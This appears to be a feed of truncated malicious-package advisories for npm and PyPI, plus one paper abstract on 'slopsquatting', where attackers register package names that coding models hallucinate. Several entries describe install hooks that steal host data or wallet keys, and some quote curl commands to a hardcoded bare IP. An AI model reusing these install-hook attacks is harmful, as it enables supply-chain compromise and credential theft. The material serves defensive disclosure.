Malicious Package

Overview web-advertising is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious Package

Overview react-dynamic-parser is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious Package

Overview dext-crate-video is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious Package

Overview dext-crate-image is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious Package

Overview tailwind-animationpack is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this packag...

Malicious Package

Overview sm-payment is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package authorship...

Malicious Package

Overview hydration-dim-kit is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Names Can Hurt: Spotting Slopsquatting Risks Caused by Package Name Hallucinations in Local Coding LLMs

When a code generating language model fabricates a Python package name, an adversary who has pre-registered that name on PyPI can convert that hallucination into a supply chain compromise. This event has been termed as 'slopsquatting'. We propose a two layer detector to counter this issue. The...

MAL-2026-14389 Malicious code in envprovision (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a414ad5404fdeeb23c37f1580aeee8175765ba8613e8fadd1a0254bf0e25d2f6 envprovision 1.4.0 presents itself as an environment-diagnostics helper but its public check/sync API, on Windows, fetches a JSON manifest from a...

Malicious code in sm-apikey-model (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8e5a8bc4d985b445afbc71bd563bcee445381d2539a7110a0ca53d54b800367 package.json declares preinstall and postinstall lifecycle scripts that invoke curl over plain HTTP to a hardcoded bare-IP endpoint...

Malicious code in sm-payment (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 926b17cedd788f5f626b3c4001ca9f1b9572abe425b87d40d6f03814d211e3e7 package.json declares preinstall and postinstall lifecycle scripts that curl a hardcoded bare IP over plain HTTP http://16.192.173.5/sm-payment/pre...

Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

MAL-2026-14383 Malicious code in @sdgdfgdfhhhfd/multiviewr (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e2d548769641b2114a424739448d9df85d67cc176e694c6ff34ede446082b76 This package publishes a MetaMask snap that derives BIP44 entropy for coinType 60 Ethereum and transmits the resulting privateKey, publicKey and...

Malicious code in fund-list-filter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector deb78208f7aa932298e92a8c241ed970296c567a273fc21013dd83bb7916e81b On npm install, package.json's preinstall hook runs index.js which harvests installer host identifiers — os.hostname, os.userInfo username, local IPv...

MAL-2026-14381 Malicious code in fund-portfolio (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 27ba065e8759299d381ed1c7abd5e7721037b4ea969a384a9e70cfb6bb799e17 Package declares scripts.preinstall: node index.js, causing index.js to run automatically on npm install. The script collects hostname, username, hom...

Malicious Package

Overview stillm4ddpocs-demo-gadget is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious code in rust-testing-utils (npm)

Source: amazon-inspector ee33bdedc7938508bcb50e053c441770948d3d69a51c5cab5d4280d84ceffa65 The package impersonates the pino logger in its README, keywords, and API surface. index.js exports middleware that spawns lib/caller.js as a detached child process on invocation. caller.js reconstructs a...

Malicious Package

Overview @syncraft-labs/core is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious Package

Overview @usaa-grp-personal-profile/personal-profile-common is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that...

Malicious Package

Overview 10-shardsight-web is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...